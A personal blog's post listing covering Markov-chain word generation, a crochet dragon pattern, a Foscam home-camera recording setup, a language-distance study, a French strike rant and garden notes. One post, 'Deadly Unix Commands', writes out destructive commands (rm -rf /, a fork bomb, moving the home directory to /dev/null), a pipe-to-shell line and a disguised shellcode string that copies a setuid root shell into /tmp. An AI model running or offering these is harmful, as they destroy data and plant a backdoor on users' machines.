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544 Posts By ben

  • Markov chains based random word generation

    Markov chains are used primarily in Natural Language Processing for part-of-speech tagging. Corpora are studied to establish the construction of sentences. This is a very powerful algorithm that can also be used to generate new material (words, text, et cetera). In this first post I will talk about generating words.

    • How it works

    Given a corpus, letter patterns are studied at different depths. For depth one, the probability of a letter following another is established. For depth two the probability of a letter following a sequence of 2 letters is established. The same goes for greater depths. The result of all this studying is a table of probabilities defining the chances that letters follow given sequences of letters.

    When the time comes to generate words, this table of probabilities is used. Say that we need to generate a word at depth 2, we seed the word with 2 null letters, then we look in the table for all the letters that can follow a sequence of 2 null letters and their associated probabilities. Their added probabilities will be 1 obviously. We generate a random number between 0 and 1 and use it to pick which following letter will be chosen. Let’s say that the letter “r” was chosen. Our generated word is now comprised of “null” and “r”. We now use this sequence as the basis for our next letter and look for the letters that can follow it. We keep going until an null letter is reached, signifying the end of the generated word.

    Here’s a sample of a probability table:

    • Benefits of this algorithm

    It will generate words that do not exist but respect the essence of the corpus it’s based on. This is really cool for example to generate words that sound English but aren’t (say for random passwords that can be pronounced/remembered). We could also make a list of all the cool words (motorcycle, sunglasses, racing, et cetera) and extract their essence to generate maybe a product name that is based on coolness :).

    Go ahead and play with it:

  • Deadly Unix Commands

    • the oldie but goodie
    rm -rf /

    will recursively/force erase starting from the root directory

    • the obfuscated oldie but goodie
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755

    same as the previous one but harder to tell what it actually does

    • the fork bomb
    <code class="plain plain">:(){:|:&};:</code>

    forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

    • running code from a remote source
    wget -O- | sh

    lulscript will be executed on the local machine

    • the one you don’t need root for
    mv ~/* /dev/null

    sends the relative home directory into a black hole


    I came home to find one of my garbage cans laying on the ground. WHAT THE HELL? WHO DID THIS? I know, I will solve this ruthless crime with my new CCTV installation.

    An the culprit is:

    [flv: 640 480]

    the wind…

  • Crochet pattern for a slightly fierce but friendly really Dragon

    I was introduced to a really cool crochet pattern: , I finally finished it, it took a few trial and errors for a beginner like me but the result is freaking awesome and I got a lot better at crochet-ing.

    8 sc in ring
    FO leaving a bit of a tail.
    8 sc in ring, then sc into any stitch on the first ring and go all the way around both of them, ending up with 16 st. Use the tail to sew up any gap between the 2 parts.

    Head & Body:
    16 sc
    do the following reductions at the middle top and middle bottom of the nose
    14 sc
    14 sc
    12 sc
    10 sc
    do the next 4 increases at the top to create the head
    14 sc
    14 sc
    14 sc
    do the following decreases at the top
    12 sc
    10 sc
    8 sc
    8 sc
    8 sc
    increase by one stitch anywhere
    9 sc
    10 sc
    10 sc
    10 sc
    11 sc
    12 sc
    do the next increase at the bottom to create the body
    18 sc
    18 sc
    increase every 3rd stitch
    24 sc
    24 sc
    24 sc
    do the following increases at sides
    26 sc
    26 sc
    26 sc
    28 sc
    28 sc
    do the following reductions at the sides, but a bit randomly, or there will be a distinct line
    26 sc
    24 sc
    22 sc
    20 sc
    18 sc
    16 sc
    14 sc
    14 sc
    12 sc x 11
    11 sc x 3
    10 sc x 3
    9 sc x 3
    8 sc x 4
    7 sc x 10
    6 sc
    keep reducing every 2 st until the hole is too small to do any more

    Back legs (make 2):
    6 sc in ring;
    12 sc x 4
    6 sc, dec 2, dec 2, dec 2 -> 9
    9 sc
    9 sc
    6 sc, inc 2, inc 2, inc 2 -> 12
    1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, 1 sc, inc 2, -> 18
    18 sc
    18 sc
    3 sc, dec 2, dec 2, 4 sc, dec 2, dec 2, dec 2, 1 sc -> 13
    2 sc, dec 2, dec 2, 2 sc, dec 2, 1 sc, dec 2 -> 9
    2 sc, dec 2, 2 sc, dec 2 -> 7
    keep reducing every 2 st until the hole is too small to do any more.

    Front legs (make 2):
    5 sc in ring
    10 sc x 4
    6 sc, dec 2, dec 2 -> 8
    8 sc x 6 rounds
    keep reducing every 2 st until the hole is too small to do any more.

    Spikes on back (make a long as needed):
    ch 3, sc into 2nd ch from hook, hdc into 3rd ch from hook, ch1

    Wings (make 2):
    ch 16
    skip 1st ch, 3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss (to make claws), 7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss (to make claws), 7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 2, turn
    7 hdc, 5 sc, 3 ss, ch1, turn
    3 ss, 5 sc, 7 hdc, ch 3, turn
    skip 1st ch, 2 ss, 15 sc
    Then sc along the base of the wing and along the other side, ch3, turn, miss 1st ch, 2 ss to make last claw.
    FO leaving tail to secure the last claw to the rest of the wing.

    Ch 6, turn
    skip 1st st, sc, dc, sc, ss.
    Leave the last ch and ss up the other side of the ear to the tip.

    Completing your dragon:
    Sew it all together!

    *** this pattern was slightly adapted (made a bit simpler) from , all credit due to heavens_hellcat ***

  • CCTV at home or how to lead an Orwellian household

    I have recently acquired 5 Foscam FI8918W ip cameras for monitoring my house.

    While this may seem like a step towards wearing a tinfoil hat, I have several reasons for doing so:

    • It’s a fun geek project that is a subset of a larger endeavor to wire my house (think remote control)
    • I love to know when the UPS guy dropped a package so I don’t have hundreds of dollars worth of electronics sitting on my front porch
    • I get to know how the freaking chicken get out of their cage
    • I get to know when the fucking raccoon is doing his patrol at night so I can shoot it in the face
    • I would like to do fast motion videos of the garden through the seasons
    • And yeah I’ll admit it, I like to keep an eye on stuffs

    These little cams are absolutely great, some key features include: cat5 & wifi (wep, wpa, wpa2) network access, nightvision, pan 300 degrees, tilt 120 degrees, remote control & view. I wish I had bought a couple of outside ones though. The problem with most cameras is that they do night vision by shining some infrared LEDs, if your camera is inside pointing outside, the IR will get reflected by the window and the outside won’t be visible. I have yet to mess with the angles and such to try and fix that.

    What an inside camera pointed at the outside looks like at night

    The web interface for the cams is great, although not all the features are supported in browsers other than IE (for example sound, microphone and multicam) but video & remote control are fine.

    If you want to record what the cams see, you’ll want a server on your network. In my case I use my Linux box and run the following script every hour:

    pkill -9 wget
    nohup wget http://<cam1_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam1_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam2_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam2_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam3_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam3_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam4_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam4_`date +%F_%T`.asf > /dev/null 2>&1 &
    nohup wget http://<cam5_ip>/videostream.asf?user=<username>&pwd=<password> -O /cameras/cam5_`date +%F_%T`.asf > /dev/null 2>&1 &
    rm /cameras/cam*_`date --date="5 days ago" +%F_`*.asf

    This hourly rotation makes it convenient to quickly locate a file pertaining to an event you’re interested in. I am removing files older than 5 days but this can easily be adjusted on the last line. The directory where this all ends up is exported to a web server for remote access which yields the following results:

    As you can see, an hour on 1 cam takes about 500M of disk space. This is because the cams do not have the processing power to compress the video stream, and this is fine by me, I don’t want them doing anything of the sort. The hourly cron could very well be augmented to encode new files but storage is cheap, my server not beefy and 5 days are more than enough for me.

    As for making the cameras themselves available on the web, this frankly takes some guts. This is obviously a very critical device that you do not want anybody to have access to. One could simply forward some ports on their routers and rely on the cam’s authentication mechanism (make sure to change the default of admin/<blank>…). I don’t want the cams to even face the world where they are susceptible to exploits and bruteforce attacks so I proxy their access through my web server. This allows me to restrict IP access (default deny of course). I am also able to keep an eye on the logs and in general adds a layer of protection.

    Here is the .htaccess file that does this magic for one of the cams (you’ll need to have mod_proxy enabled)

    Options +FollowSymLinks
    RewriteEngine On
    RewriteBase /
    RewriteRule ^(.*)$ http://<cam_ip>/videostream.cgi?user=<username>&pwd=<password> [P]

    Foscam made it really easy to mess with the cam, all of the options that are available through their web interface are also available through direct URL calls which makes it easy to integrate the camera functionalities in a script (like the recording above). I’ve even started writing my own web interface for semi-public access that allows for visual customization as well and very granular function control.

    the following URLs can be appended with “&user=<username>&pwd=<password>” so as to authenticate directly.

    • http://<cam_ip>/snapshot.cgi gives you the current image
    • http://<cam_ip>/video.cgi gives you live video
    • http://<cam_ip>/live.htm gives you live video
    • http://<cam_ip>/set_misc.cgi?ptz_patrol_rate=20 lets you change the rotation speed of the motors.
    • http://<cam_ip>/set_misc.cgi?ptz_center_on_start=0 turns off the initial power-on rotation
    • http://<cam_ip>/set_misc.cgi?led_mode=2 disables the front status LED
    • http://<cam_ip>/reboot.cgi will reboot the cam
    • http://<cam_ip>/decoder_control.cgi?command=0&onestep=1 tilts up
    • http://<cam_ip>/decoder_control.cgi?command=2&onestep=1 tilts down
    • http://<cam_ip>/decoder_control.cgi?command=4&onestep=1 tilts left
    • http://<cam_ip>/decoder_control.cgi?command=6&onestep=1 tilts right
    • http://<cam_ip>/set_misc.cgi?ptz_auto_patrol_type=1 sets the patrol type, possible values: 0: none; 1: horizontal; 2: vertical; 3: horizontal + vertical
    • http://<cam_ip>/get_misc.cgi displays functional values
    • http://<cam_ip>/get_log.cgi displays access log
    • http://<cam_ip>/get_params.cgi displays configuration values

    I’m very happy with them, they’re great products and fun to play with. One downside is their microphones which are pretty horrible but I don’t care much about sound. Here are a few pictures of them in action:

    Inside cam pointed outside during the day

    Nightvision in the chicken coop

    [flv: 640 480]

  • All it takes is a freaking good camera

    permission to use & reproduce, just not to make money off of.

  • On the distance between languages

    Here are the results of a small study to calculate the distance between words in english and other languages. The way the computation is done is by going through a list of basic english words, using the Google Translate API to get translations into other languages and finally computing a levenshtein between each English/translated pair of words. The final distance is an average.

    This only looks at the spelling words, the next step is to look at their phonemes.

    Feel free to use the datasets bellow and please let me know what you’re working on :)

    language      distance from english
    Swedish 63.88%
    Danish 66.69%
    Dutch 66.78%
    French 69.31%
    German 72.27%
    Italian 76.89%
    Spanish 82.14%
    Albanian 88.61%
    Croatian 90.74%
    Estonian 91.45%
    Polish 92.48%
    Hungarian 102.2%
  • les francais sont des branleurs professionels

    Les francais ne font pas greve pour revandiquer quoique ce soit, ils font greve car cela fait partit du folklore national. Pour donner plus d’impact a leur greve etouffee par toutes les autres greves, c’est a qui foutra le plus la merde: operations escargot, blocages, penuries, detournements, mouvement coincidants avec les grands departs, et cetera. Et les lyceens sont de la partie, non qu’ils aient quoi que ce soit d’interessant a ajouter, mais organiser une greve lyceenne fait partie d’un des rites de passages a la vie de branleur professionel assiste par l’etat.

    Illustre ci dessous: une brochette de braillards sans cerveau flambent des caisses a cote d’une raffinerie


  • The last harvest

    With sub-zero temperatures just around the corner, it’s time to remove all the unripened fruits of our plants. Preserve will be made out of the green tomatoes.

     img_0003 img_0012

    and all that is left of the garden is a decrepit mass of dying plants img_0015